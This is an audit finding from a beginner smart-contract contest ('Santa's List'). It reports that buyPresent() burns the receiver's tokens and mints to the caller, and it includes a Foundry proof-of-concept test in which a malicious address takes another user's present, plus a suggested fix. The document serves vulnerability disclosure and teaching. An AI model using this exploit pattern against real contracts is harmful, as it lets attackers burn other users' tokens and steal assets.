First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Front-running attack on SantasList::buyPresent()

y0ng0p3

Summary

SantasList::buyPresent() is subject to front-running attacks.

Vulnerability Details

SantasList::buyPresent() is subject to front-running attacks.
Also, there is a flaw in the logic of the function. It allows minting of a SantasList ERC721 token to the msg.sender while burn presentReceiver ERC20 SantaToken. It should instead burn msg.sender ERC20 SantaToken and mint SantasList ERC721 token to the presentReceiver.

All this allows a malicious user to receive a present instead of the recipient to whom the EXTRA_NICE user intends to buy the present.

Proof of Concept

Place the code for the following test function in test/unit/SantasListTest.t.sol.

function test_FrontRunAttack_BuyPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
address maliciousUser = makeAddr("malicious_user");
​
vm.startPrank(user);
santasList.collectPresent();
santaToken.approve(address(santasList), 1e18);
vm.stopPrank();
vm.prank(maliciousUser);
santasList.buyPresent(user);
​
vm.startPrank(user);
vm.expectRevert();
santasList.buyPresent(user);
vm.stopPrank();
​
assertEq(santasList.balanceOf(user), 1);
assertEq(santasList.balanceOf(maliciousUser), 1);
}

In the terminal, run the following command:

  • forge test --mt test_FrontRunAttack_BuyPresent

Impact

A malicious user can buy a present at someone else's expense, even if they are not supposed to be the recipient of the present.

Tools Used

Manual review, Foundry

Recommendations

Change SantasList::buyPresent() to burn msg.sender's SantaToken and mint NFTs to the presentReceiver.

File: src/SantasList.sol
​
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
- _mintAndIncrement();
+ _safeMint(presentReceiver, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.